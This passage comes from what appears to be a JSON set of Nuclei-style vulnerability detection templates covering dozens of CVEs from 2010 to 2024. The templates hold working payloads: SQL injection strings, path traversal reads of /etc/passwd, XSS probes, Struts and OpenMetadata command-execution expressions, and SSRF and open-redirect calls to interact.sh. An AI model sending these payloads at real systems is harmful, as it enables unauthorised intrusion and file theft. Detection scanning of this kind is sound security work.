assignments","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-json/wp/v2/sfwd-assignment"],"host-redirects":true,"max-redirects":2,"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["\"id\":","slug\":\"assignment",".pdf\""],"condition":"and"},{"type":"word","part":"header","words":["application/json"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2024-44349","info":{"name":"AnteeoWMS < v4.7.34 - SQL Injection","severity":"critical"},"requests":[{"raw":["GET /default.aspx HTTP/1.1\nHost: {{Hostname}}\n"],"extractors":[{"type":"regex","part":"body","name":"viewstate","internal":true,"group":1,"regex":["id=\"__VIEWSTATE\" value=\"([/a-zA-Z0-9+=]+?)\""]},{"type":"regex","part":"body","name":"viewstategen","internal":true,"group":1,"regex":["id=\"__VIEWSTATEGENERATOR\" value=\"([A-Z0-9]+)\""]},{"type":"regex","part":"body","name":"eventval","internal":true,"group":1,"regex":["id=\"__EVENTVALIDATION\" value=\"([/a-zA-Z0-9+=]+)\""]}]},{"raw":["POST /default.aspx HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded; charset=UTF-8\n\n__EVENTTARGET=&__EVENTARGUMENT=&__VIEWSTATE={{urlencode(viewstate)}}&__VIEWSTATEGENERATOR={{viewstategen}}&ctl00%24MainContentPlaceHolder%24isCookieErased=&ctl00%24MainContentPlaceHolder%24ASPxCallbackPanel%24UsrAuthLogin=aa'union%20select+cast(@@version%20as%20int),null,null--%20-&ctl00%24MainContentPlaceHolder%24ASPxCallbackPanel%24UsrAuthStr=&DXScript=1_10%2C1_11%2C1_22%2C1_62%2C1_12%2C1_13%2C1_179%2C1_180%2C1_20%2C1_21%2C1_186%2C1_14%2C1_16%2C1_182%2C1_189%2C1_40%2C1_178%2C1_47%2C1_8%2C1_37&DXCss=1_206%2C1_203%2C1_66%2C1_67%2C1_68%2C1_205%2C1_202%2C1_72%2C1_71%2C0_5551%2C0_5556%2C.%2FStyles%2Fwebstyle_02.css%2C0_5390%2C0_5394%2C0_768&__CALLBACKID=ctl00%24MainContentPlaceHolder%24ASPxCallbackPanel&__CALLBACKPARAM=c0%3A%5Bobject%20Object%5D&__EVENTVALIDATION={{urlencode(eventval)}}\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["Conversion failed when converting the nvarchar value 'Microsoft SQL Server"]}]}]},{"id":"CVE-2024-32964","info":{"name":"Lobe Chat <= v0.150.5 - Server-Side Request Forgery","severity":"critical"},"requests":[{"raw":["GET /welcome HTTP/1.1\nHost: {{Hostname}}\n"],"host-redirects":true,"matchers":[{"type":"dsl","dsl":["contains(tolower(body), \"lobechat\")","status_code == 200"],"condition":"and","internal":true}]},{"raw":["POST /api/proxy HTTP/1.1\nHost: {{Hostname}}\nContent-Type: text/plain\n\nhttp://oast.me\n"],"matchers":[{"type":"word","part":"response","words":["

    Interactsh Server

    "]}]}]},{"id":"CVE-2024-44000","info":{"name":"LiteSpeed Cache <= 6.4.1 - Sensitive Information Exposure","severity":"high"},"requests":[{"raw":["GET / HTTP/1.1\nHost: {{Hostname}}\n"],"matchers":[{"type":"dsl","dsl":["contains(body, \"/wp-content/plugins/litespeed-cache\")"],"internal":true}]},{"raw":["GET /wp-content/debug.log HTTP/1.1\nHost: {{Hostname}}\n"],"matchers-condition":"and","matchers":[{"type":"regex","part":"response","regex":["(wordpress(_logged_in)?_[a-f0-9]{32}=[^;]+)"]},{"type":"word","part":"content_type","words":["text/plain"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2024-39250","info":{"name":"EfroTech Timetrax v8.3 - Sql Injection","severity":"high"},"requests":[{"raw":["GET /Login.aspx HTTP/1.1\nHost: {{Hostname}}\n"],"matchers":[{"type":"dsl","dsl":["contains(body,\"TimeTrax - Cloud HR Software\")","contains(content_type, \"text/html\")","status_code == 200"],"condition":"and","internal":true}]},{"raw":["GET /search.aspx?q=' HTTP/1.1\nHost: {{Hostname}}\n"],"matchers":[{"type":"dsl","dsl":["contains_all(body,\"Incorrect syntax near\",\"Unclosed quotation mark after the character string\")","contains(content_type, \"text/html\")","status_code == 500"],"condition":"and"}]}]},{"id":"CVE-2024-9593","info":{"name":"Time Clock <= 1.2.2 & Time Clock Pro <= 1.1.4 - Remote Code Execution","severity":"high"},"requests":[{"raw":["GET / HTTP/1.1\nHost: {{Hostname}}\n"],"matchers":[{"type":"dsl","dsl":["contains(body, \"/wp-content/plugins/time-clock\")","status_code == 200"],"condition":"and","internal":true}]},{"raw":["POST /wp-admin/admin-ajax.php?action=etimeclockwp_load_function HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nfunction=phpinfo\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["PHP Extension","PHP Version"],"condition":"and"},{"type":"status","status":[200]}],"extractors":[{"type":"regex","part":"body","group":1,"regex":[">PHP Version <\\/td>([0-9.]+)"]}]}]},{"id":"CVE-2024-6205","info":{"name":"PayPlus Payment Gateway < 6.6.9 - SQL Injection","severity":"critical"},"requests":[{"raw":["@timeout 20s\nGET /?wc-api=payplus_gateway&status_code=true&more_info=(select*from(select(sleep(6)))a) HTTP/1.1\nHost: {{Hostname}}\n"],"matchers":[{"type":"dsl","dsl":["duration>=6","status_code == 302","regex('^-1$', body)","contains(content_type,\"text/html\")"],"condition":"and"}]}]},{"id":"CVE-2024-32231","info":{"name":"Stash < 0.26.0 - SQL Injection","severity":"critical"},"requests":[{"raw":["POST /graphql HTTP/1.1\nHost: {{Hostname}}\nContent-type: application/json\n\n{\"operationName\":\"FindPerformers\",\"variables\":{\"filter\":{\"q\":\"\",\"page\":1,\"per_page\":40,\"sort\":\"name;select performers.id FROM performers union select group_concat(sqlite_version(),':')-- -\",\"direction\":\"ASC\"},\"performer_filter\":{}},\"query\":\"query FindPerformers($filter: FindFilterType, $performer_filter: PerformerFilterType, $performer_ids: [Int!]) {\\n findPerformers(\\n filter: $filter\\n performer_filter: $performer_filter\\n performer_ids: $performer_ids\\n ) {\\n count\\n performers {\\n ...PerformerData\\n __typename\\n }\\n __typename\\n }\\n}\\n\\nfragment PerformerData on Performer {\\n id\\n name\\n disambiguation\\n url\\n gender\\n twitter\\n instagram\\n birthdate\\n ethnicity\\n country\\n eye_color\\n height_cm\\n measurements\\n fake_tits\\n penis_length\\n circumcised\\n career_length\\n tattoos\\n piercings\\n alias_list\\n favorite\\n ignore_auto_tag\\n image_path\\n scene_count\\n image_count\\n gallery_count\\n movie_count\\n performer_count\\n o_counter\\n tags {\\n ...SlimTagData\\n __typename\\n }\\n stash_ids {\\n stash_id\\n endpoint\\n __typename\\n }\\n rating100\\n details\\n death_date\\n hair_color\\n weight\\n __typename\\n}\\n\\nfragment SlimTagData on Tag {\\n id\\n name\\n aliases\\n image_path\\n parent_count\\n child_count\\n __typename\\n}\"}\n"],"matchers-condition":"and","matchers":[{"type":"regex","part":"body","regex":["converting driver\\.Value type string \\(\\\\\"3.*?\\\\\"\\) to a int: invalid syntax"]},{"type":"word","part":"content_type","words":["application/json"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2024-37881","info":{"name":"SiteGuard WP Plugin <= 1.7.6 - Login Page Disclosure","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-content/plugins/siteguard/readme.txt"],"matchers":[{"type":"dsl","internal":true,"dsl":["status_code == 200","contains(body, \"SiteGuard WP Plugin\")"],"condition":"and"}]},{"method":"GET","path":["{{BaseURL}}/wp-register.php"],"matchers":[{"type":"dsl","dsl":["!contains(tolower(location), 'wp-login.php')"]}],"extractors":[{"type":"kval","kval":["location"]}]}]},{"id":"CVE-2024-27199","info":{"name":"TeamCity < 2023.11.4 - Authentication Bypass","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/res/../admin/diagnostic.jsp","{{BaseURL}}/.well-known/acme-challenge/../../admin/diagnostic.jsp","{{BaseURL}}/update/../admin/diagnostic.jsp"],"stop-at-first-match":true,"matchers":[{"type":"dsl","dsl":["status_code == 200","contains(header, \"text/html\")","contains_all(body, \"Debug Logging\", \"CPU & Memory Usage\")"],"condition":"and"}]}]},{"id":"CVE-2024-3136","info":{"name":"MasterStudy LMS <= 3.3.3 - Unauthenticated Local File Inclusion via template","severity":"critical"},"requests":[{"raw":["GET /?p=1 HTTP/1.1\nHost: {{Hostname}}\n","POST /wp-admin/admin-ajax.php?template=../../../../../../../../usr/local/lib/php/pearcmd&+config-create HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\naction=stm_lms_load_content&nonce={{nonce}}&\n"],"host-redirects":true,"max-redirects":2,"matchers":[{"type":"dsl","dsl":["contains(to_lower(body_2),\"config-create: must have 2 parameters\")","status_code_2 == 200"],"condition":"and"}],"extractors":[{"type":"regex","part":"body","regex":["\"load_content\":\"(\\w+?)\""],"group":1,"internal":true,"name":"nonce"}]}]},{"id":"CVE-2024-5827","info":{"name":"Vanna - SQL injection","severity":"critical"},"requests":[{"raw":["POST /api/v0/train HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/json\n\n{\"sql\":\"SELECT pg_read_file('/etc/passwd', 0, 1000);\"}\n"],"matchers":[{"type":"word","words":["id\":"],"internal":true}]},{"raw":["GET /api/v0/generate_sql?question=What%20is%20the%20content%20of%20the%20first%201000%20characters%20of%20the%20%2Fetc%2Fpasswd%20file? HTTP/1.1\nHost: {{Hostname}}\n"],"matchers-condition":"and","matchers":[{"type":"regex","part":"body","regex":["root:.*:0:0:"]},{"type":"status","status":[200]},{"type":"word","part":"header","words":["application/json"]}]}]},{"id":"CVE-2024-28255","info":{"name":"OpenMetadata - Authentication Bypass","severity":"critical"},"requests":[{"raw":["GET /api/v1;v1%2fusers%2flogin/events/subscriptions/validation/condition/T(java.lang.Runtime).getRuntime().exec(new%20java.lang.String(T(java.util.Base64).getDecoder().decode(%22{{payload}}%22))) HTTP/1.1\nHost: {{Hostname}}\n"],"matchers":[{"type":"dsl","dsl":["status_code == 400","contains(interactsh_protocol, 'dns')","contains(body, \"java.lang.Boolean\")","contains(header, \"application/json\")"],"condition":"and"}]}]},{"id":"CVE-2024-37843","info":{"name":"Craft CMS <=v3.7.31 - SQL Injection","severity":"critical"},"requests":[{"raw":["POST /api/ HTTP/1.1\nHost: {{Hostname}}\nContent-Type:application/json\n\n{\"query\":\"query IntrospectionQuery {assets(orderBy: \\\"`assets`.`volumeId`,extractvalue(1,concat(0x0a,concat('{{matcher}}',version()))) --\\\", limit: 5){filename}}\"}\n"],"skip-variables-check":true,"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["General error: 1105 XPATH syntax error: '\\n{{matcher}}"]},{"type":"word","part":"content_type","words":["application/json"]}]}]},{"id":"CVE-2024-45388","info":{"name":"Hoverfly < 1.10.3 - Arbitrary File Read","severity":"high"},"requests":[{"raw":["PUT /api/v2/simulation HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\n{\"data\":{\"pairs\":[{\"request\":{},\"response\":{\"bodyFile\": \"../../../../../../../etc/passwd\",\"x\":\"aaa\"}} ]},\"meta\":{\"schemaVersion\":\"v5.3\"}}\n"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:","hoverflyVersion"],"condition":"and"},{"type":"word","part":"header","words":["application/json"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2024-46310","info":{"name":"FXServer < v9601 - Information Exposure","severity":"medium"},"requests":[{"raw":["GET /players.json HTTP/1.1\nHost: {{Hostname}}\n"],"matchers":[{"type":"dsl","dsl":["contains_all(body,\"endpoint\", \"id\", \"identifiers\", \"name\", \"ping\")","status_code == 200"],"condition":"and"}]}]},{"id":"CVE-2012-2371","info":{"name":"WP-FaceThumb 0.1 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["GET /wp-content/plugins/wp-facethumb/readme.txt HTTP/1.1\nHost: {{Hostname}}\n"],"matchers":[{"type":"word","internal":true,"words":["WP-FaceThumb ==="]}]},{"method":"GET","path":["{{BaseURL}}/?page_id=1&pagination_wp_facethumb=1%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":[""]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2012-1823","info":{"name":"PHP CGI v5.3.12/5.4.2 Remote Code Execution","severity":"high"},"requests":[{"raw":["POST /index.php?-d+allow_url_include%3don+-d+auto_prepend_file%3dphp%3a//input HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\n\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["{{md5(string)}}"]}]}]},{"id":"CVE-2012-0981","info":{"name":"phpShowtime 2.0 - Directory Traversal","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.php?r=i/../../../../../etc/passwd"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2012-4273","info":{"name":"2 Click Socialmedia Buttons < 0.34 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["GET /wp-content/plugins/2-click-socialmedia-buttons/readme.txt HTTP/1.1\nHost: {{Hostname}}\n"],"matchers":[{"type":"word","internal":true,"words":["2 Click Social Media Buttons","Tags:"],"condition":"and"}]},{"method":"GET","path":["{{BaseURL}}/wp-content/plugins/2-click-socialmedia-buttons/libs/xing.php?xing-url=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":[""]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2012-4242","info":{"name":"WordPress Plugin MF Gig Calendar 0.9.2 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["GET /wp-content/plugins/mf-gig-calendar/readme.txt HTTP/1.1\nHost: {{Hostname}}\n"],"matchers":[{"type":"word","internal":true,"words":["MF Gig Calendar ="]}]},{"method":"GET","path":["{{BaseURL}}/?page_id=2&%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":[""]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2012-6499","info":{"name":"WordPress Plugin Age Verification v0.4 - Open Redirect","severity":"medium"},"requests":[{"raw":["POST /wp-content/plugins/age-verification/age-verification.php HTTP/1.1\nHost: {{Hostname}}\n\nredirect_to=http://www.interact.sh&age_day=1&age_month=1&age_year=1970\n"],"matchers":[{"type":"regex","part":"header","regex":["(?m)^(?:Location\\s*?:\\s*?)(?:https?:\\/\\/|\\/\\/|\\/\\\\\\\\|\\/\\\\)?(?:[a-zA-Z0-9\\-_\\.@]*)interact\\.sh\\/?(\\/|[^.].*)?$"]}]}]},{"id":"CVE-2012-0896","info":{"name":"Count Per Day <= 3.1 - download.php f Parameter Traversal Arbitrary File Access","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-content/plugins/count-per-day/download.php?n=1&f=/etc/passwd"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2012-3153","info":{"name":"Oracle Forms & Reports RCE (CVE-2012-3152 & CVE-2012-3153)","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/reports/rwservlet/showenv","{{BaseURL}}/reports/rwservlet?report=test.rdf&desformat=html&destype=cache&JOBTYPE=rwurl&URLPARAMETER=file:///"],"matchers-condition":"and","matchers":[{"type":"dsl","dsl":["contains(body_1, \"Reports Servlet\")"]},{"type":"dsl","dsl":["!contains(body_2, \""]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2012-4982","info":{"name":"Forescout CounterACT 6.3.4.1 - Open Redirect","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/assets/login?a=https://interact.sh"],"matchers":[{"type":"regex","part":"header","regex":["(?m)^(?:Location\\s*?:\\s*?)(?:https?://|//)(?:[a-zA-Z0-9\\-_\\.@]*)interact\\.sh.*$"]}]}]},{"id":"CVE-2012-4878","info":{"name":"FlatnuX CMS - Directory Traversal","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/controlcenter.php?opt=contents/Files&dir=%2Fetc&ffile=passwd&opmod=open"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2012-5913","info":{"name":"WordPress Integrator 1.32 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["GET /wp-content/plugins/wp-integrator/readme.txt HTTP/1.1\nHost: {{Hostname}}\n"],"matchers":[{"type":"word","internal":true,"words":["Wordpress Integrator"]}]},{"method":"GET","path":["{{BaseURL}}/wp-login.php?redirect_to=http%3A%2F%2F%3F1%3C%2FsCripT%3E%3CsCripT%3Ealert%28document.domain%29%3C%2FsCripT%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":[""]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2012-5321","info":{"name":"TikiWiki CMS Groupware v8.3 - Open Redirect","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/tiki-featured_link.php?type=f&url=https://interact.sh"],"matchers":[{"type":"regex","part":"header","regex":["(?m)^(?:Location\\s*?:\\s*?)(?:https?:\\/\\/|\\/\\/|\\/\\\\\\\\|\\/\\\\)?(?:[a-zA-Z0-9\\-_\\.@]*)interact\\.sh\\/?(\\/|[^.].*)?$"]}]}]},{"id":"CVE-2012-4032","info":{"name":"WebsitePanel before v1.2.2.1 - Open Redirect","severity":"medium"},"requests":[{"raw":["POST /Default.aspx?pid=Login&ReturnUrl=http%3A%2F%2Fwww.interact.sh HTTP/1.1\nHost: {{Hostname}}\nCookie: UserCulture=en-US; .WEBSITEPANELPORTALAUTHASPX=\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36\nContent-Type: application/x-www-form-urlencoded\n\nctl03%24ctl01%24ctl00%24txtUsername={{username}}&ctl03%24ctl01%24ctl00%24txtPassword={{password}}&ctl03%24ctl01%24ctl00%24btnLogin=+++Sign+In+++&ctl03%24ctl01%24ctl00%24ddlLanguage=en-US&ctl03%24ctl01%24ctl00%24ddlTheme=Default\n"],"matchers":[{"type":"regex","part":"header","regex":["(?m)^(?:Location\\s*?:\\s*?)(?:http?:\\/\\/|\\/\\/|\\/\\\\\\\\|\\/\\\\)?(?:[a-zA-Z0-9\\-_\\.@]*)interact\\.sh\\/?(\\/|[^.].*)?$"]}]}]},{"id":"CVE-2012-0996","info":{"name":"11in1 CMS 1.2.1 - Local File Inclusion (LFI)","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.php?class=../../../../../../../etc/passwd%00"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2012-0991","info":{"name":"OpenEMR 4.1 - Local File Inclusion","severity":"low"},"requests":[{"method":"GET","path":["{{BaseURL}}/contrib/acog/print_form.php?formname=../../../etc/passwd%00"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2012-4940","info":{"name":"Axigen Mail Server Filename Directory Traversal","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/?h=44ea8a6603cbf54e245f37b4ddaf8f36&page=vlf&action=edit&fileName=..\\..\\..\\windows\\win.ini","{{BaseURL}}/source/loggin/page_log_dwn_file.hsp?h=44ea8a6603cbf54e245f37b4ddaf8f36&action=download&fileName=..\\..\\..\\windows\\win.ini"],"stop-at-first-match":true,"matchers":[{"type":"word","part":"body","words":["bit app support","fonts","extensions"],"condition":"and"}]}]},{"id":"CVE-2012-1226","info":{"name":"Dolibarr ERP/CRM 3.2 Alpha - Multiple Directory Traversal Vulnerabilities","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/document.php?modulepart=project&file=../../../../../../../etc/passwd"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2012-4889","info":{"name":"ManageEngine Firewall Analyzer 7.2 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/fw/syslogViewer.do?port=%22%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":[""]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2012-0394","info":{"name":"Apache Struts <2.3.1.1 - Remote Code Execution","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/portal/displayAPSForm.action?debug=command&expression={{first}}*{{second}}"],"matchers-condition":"and","matchers":[{"type":"word","words":["{{result}}"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2012-0901","info":{"name":"YouSayToo auto-publishing 1.0 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}"],"matchers":[{"type":"word","internal":true,"words":["/wp-content/plugins/yousaytoo-auto-publishing-plugin/"]}]},{"method":"GET","path":["{{BaseURL}}/wp-content/plugins/yousaytoo-auto-publishing-plugin/yousaytoo.php?submit=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":[""]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2012-0392","info":{"name":"Apache Struts2 S2-008 RCE","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/devmode.action?debug=command&expression=(%23_memberAccess[%22allowStaticMethodAccess%22]%3Dtrue%2C%23foo%3Dnew%20java.lang.Boolean(%22false%22)%20%2C%23context[%22xwork.MethodAccessor.denyMethodExecution%22]%3D%23foo%2C@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(%27cat%20/etc/passwd%27).getInputStream()))"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2012-4768","info":{"name":"WordPress Plugin Download Monitor < 3.3.5.9 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["GET /wp-content/plugins/download-monitor/readme.txt HTTP/1.1\nHost: {{Hostname}}\n"],"matchers":[{"type":"word","internal":true,"words":["Download Monitor ="]}]},{"method":"GET","path":["{{BaseURL}}/?dlsearch=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":[""]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2012-4547","info":{"name":"AWStats 6.95/7.0 - 'awredir.pl' Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/awstats/awredir.pl?url=%3Cscript%3Ealert(document.domain)%3C/script%3E","{{BaseURL}}/cgi-bin/awstats/awredir.pl?url=%3Cscript%3Ealert(document.domain)%3C/script%3E"],"stop-at-first-match":true,"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":[""]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2012-4253","info":{"name":"MySQLDumper 1.24.4 - Directory Traversal","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/learn/cubemail/filemanagement.php?action=dl&f=../../../../../../../../../../../etc/passwd%00"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2010-0972","info":{"name":"Joomla! Component com_gcalendar Suite 2.1.5 - Local File Inclusion","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.php?option=com_gcalendar&controller=../../../../../etc/passwd%00"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2010-0467","info":{"name":"Joomla! Component CCNewsLetter - Local File Inclusion","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.php?option=com_ccnewsletter&controller=../../../../../../../../../../etc/passwd%00"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2010-1657","info":{"name":"Joomla! Component SmartSite 1.0.0 - Local File Inclusion","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.php?option=com_smartsite&controller=../../../../../../../../../../etc/passwd%00"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2010-1473","info":{"name":"Joomla! Component Advertising 0.25 - Local File Inclusion","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.php?option=com_advertising&controller=../../../../../../../../../../etc/passwd%00"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2010-1714","info":{"name":"Joomla! Component Arcade Games 1.0 - Local File Inclusion","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.php?option=com_arcadegames&controller=../../../../../../../../../../etc/passwd%00"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2010-0219","info":{"name":"Apache Axis2 Default Login","severity":"critical"},"requests":[{"raw":["POST /axis2-admin/login HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nloginUsername={{username}}&loginPassword={{password}}\n","POST /axis2/axis2-admin/login HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nuserName={{username}}&password={{password}}&submit=+Login+\n"],"payloads":{"username":["admin"],"password":["axis2"]},"attack":"pitchfork","matchers-condition":"and","matchers":[{"type":"word","words":["

    Welcome to Axis2 Web Admin Module !!

    "]},{"type":"status","status":[200]}]}]},{"id":"CVE-2010-1461","info":{"name":"Joomla! Component Photo Battle 1.0.1 - Local File Inclusion","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.php?option=com_photobattle&view=../../../../../../../../../../etc/passwd%00"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2010-1870","info":{"name":"ListSERV Maestro <= 9.0-8 RCE","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/lui/","{{BaseURL}}/hub/"],"extractors":[{"type":"regex","regex":["LISTSERV Maestro\\s+9\\.0-[123456780]","LISTSERV Maestro\\s+[5678]","Administration Hub 9\\.0-[123456780]","Administration Hub [5678]"]}]}]},{"id":"CVE-2010-0985","info":{"name":"Joomla! Component com_abbrev - Local File Inclusion","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.php?option=com_abbrev&controller=../../../../../../../../../../etc/passwd%00"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2010-1586","info":{"name":"HP System Management Homepage (SMH) v2.x.x.x - Open Redirect","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/red2301.html?RedirectUrl=http://interact.sh"],"matchers":[{"type":"regex","part":"header","regex":["(?m)^(?:Location\\s*?:\\s*?)(?:http?://|//)(?:[a-zA-Z0-9\\-_\\.@]*)interact\\.sh.*$"]}]}]},{"id":"CVE-2010-2045","info":{"name":"Joomla! Component FDione Form Wizard 1.0.2 - Local File Inclusion","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.php?option=com_dioneformwizard&controller=../../../../../../../../../../../../../etc/passwd%00"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2010-1470","info":{"name":"Joomla! Component Web TV 1.0 - Local File Inclusion","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.php?option=com_webtv&controller=../../../../../../../../../../etc/passwd%00"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2010-1607","info":{"name":"Joomla! Component WMI 1.5.0 - Local File Inclusion","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.php?option=com_wmi&controller=../../../../../../../../../etc/passwd%00"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2010-1305","info":{"name":"Joomla! Component JInventory 1.23.02 - Local File Inclusion","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.php?option=com_jinventory&controller=../../../../../../../../../../etc/passwd%00"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2010-1315","info":{"name":"Joomla! Component webERPcustomer - Local File Inclusion","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.php?option=com_weberpcustomer&controller=../../../../../../../../../../etc/passwd%00"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2010-1429","info":{"name":"Red Hat JBoss Enterprise Application Platform - Sensitive Information 